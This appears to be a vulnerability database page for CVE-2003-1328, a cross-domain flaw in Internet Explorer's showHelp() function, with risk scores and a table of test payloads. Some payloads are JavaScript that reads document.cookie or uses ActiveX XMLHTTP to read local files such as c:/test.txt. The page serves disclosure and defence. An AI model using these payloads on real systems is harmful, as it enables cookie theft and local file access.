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CVE-2003-1328

🗓️ 01 Sep 2004 04:00:00Reported by mitreType 
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🔗 web.nvd.nist.gov👁 63 Views🌐 WEB

"Vulnerability in Microsoft Internet Explorer showHelp() Function

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ParameterPositionPathDescriptionCWE
file:nestedshowHelpAttempt to break cross-domain security via showHelp with file: protocol.
http://www.google.com/nestedshowHelpCross-domain access via showHelp with an http URL.
javascript:alert(document.cookie)nestedshowHelpCross-domain/JavaScript payload via showHelp to read cookies.
res://shdoclc.dll/about.dlgnestedshowHelpAccess to local resources through res protocol in showHelp.
javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET','file://c:/test.txt',false);c.send(null);alert(c.responseText)nestedshowHelpHTTP-like request from file:// to read local file via ActiveXObject in showHelp.
file://c:/test.txtnestedshowHelpRead local file via file:// in showHelp.
javascript:alert(document.body.innerText)nestedshowHelpExpose page content through JavaScript payload in showHelp.
iexplore.chmnestedshowHelpTrigger via showHelp using a Microsoft Help file reference.
res:nestedshowHelpAccess local resources placeholder via res protocol in showHelp.
javascript:location='mk:@MSITStore:C:'nestedshowHelpNavigate to internal store via JavaScript payload in showHelp.
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16 Jun 2026 22:03Current
7.9High risk
Vulners AI Score7.9
CVSS 27.5
EPSS0.38935
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